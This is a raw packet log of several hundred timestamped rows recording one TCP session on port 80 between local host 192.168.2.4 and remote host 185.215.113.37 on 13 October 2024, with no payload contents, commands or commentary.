Oct 13, 2024 06:54:17.595282078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595299006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595324993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595350027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595352888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595401049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595401049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595447063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595453024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595479965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595499992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595530987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595537901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595583916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595583916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595637083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595669031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595706940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595706940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595706940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595706940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595746040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595793962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595798969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595798969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595830917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595845938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595885992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595933914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595966101 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.595967054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595967054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.595982075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596015930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596048117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596052885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596052885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596077919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596128941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596160889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596193075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596241951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596271992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596288919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596321106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596342087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596354008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596404076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596420050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596420050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596431971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596463919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596494913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596523046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596554995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596590996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596590042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596620083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596642017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596652031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596678019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596684933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596715927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596748114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596779108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596812010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596842051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596851110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596875906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596906900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596915960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596915960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.596940994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.596973896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597006083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597038031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597070932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597103119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597114086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597114086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597114086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597114086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597115040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597115040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597136021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597167969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597198963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597229958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597261906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597292900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597307920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597327948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597359896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597390890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597408056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597408056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597408056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597423077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597439051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597460985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597492933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597517967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597517967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597524881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597558022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597589970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597620964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597651958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597685099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597701073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597719908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597754002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.597985029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597985029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.597985029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.654969931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655021906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655035973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655056000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655093908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655122042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655122042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655145884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655168056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655183077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655210018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655219078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655229092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655251980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655267954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655284882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655317068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655344009 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655349016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655352116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655352116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655381918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655411005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655436993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655443907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655471087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.655561924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.655561924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656156063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656186104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656238079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656254053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656303883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656311989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656311989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656337976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656356096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656369925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656392097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656404972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656431913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656438112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656457901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656471014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656487942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656502008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656533957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656562090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656580925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656580925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656580925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656594038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656627893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656658888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656658888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656658888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656677008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656696081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.656759977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.656759977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683435917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683485031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683517933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683542967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683551073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683554888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683562040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683604002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683604956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683666945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683670998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683722973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683723927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683772087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683805943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683816910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683828115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683839083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683856010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683871031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683907032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683938980 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683940887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683940887 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683964968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.683971882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.683990002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684005976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684009075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684040070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684077978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684077978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684088945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684137106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684144020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684176922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684187889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684221029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684233904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684269905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684317112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684317112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684317112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684353113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684385061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684417963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684417963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684431076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684434891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684470892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684503078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684534073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684546947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684546947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684560061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684583902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684603930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684638023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684643984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684685946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684715033 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684726954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684726954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684762001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684772968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684797049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684807062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684829950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684876919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684876919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684880018 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684911966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684930086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684946060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.684966087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.684993982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685029984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685045958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685085058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685159922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685197115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685219049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685234070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685251951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685266972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685270071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685302973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685308933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685318947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685337067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685369015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685373068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685400963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685417891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685435057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685435057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685468912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685486078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685486078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685503006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685518980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685532093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685561895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685594082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685621023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685621023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685621023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685625076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685658932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685693979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685705900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685726881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685758114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685789108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685818911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685848951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685878038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685878038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685878038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685878038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685878038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685880899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685913086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685920000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685920000 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 13, 2024 06:54:17.685945988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.685976028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.686007023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.686037064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.686069965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 13, 2024 06:54:17.686083078 CEST	49730	80	192.168.2.4	185.215.113.37
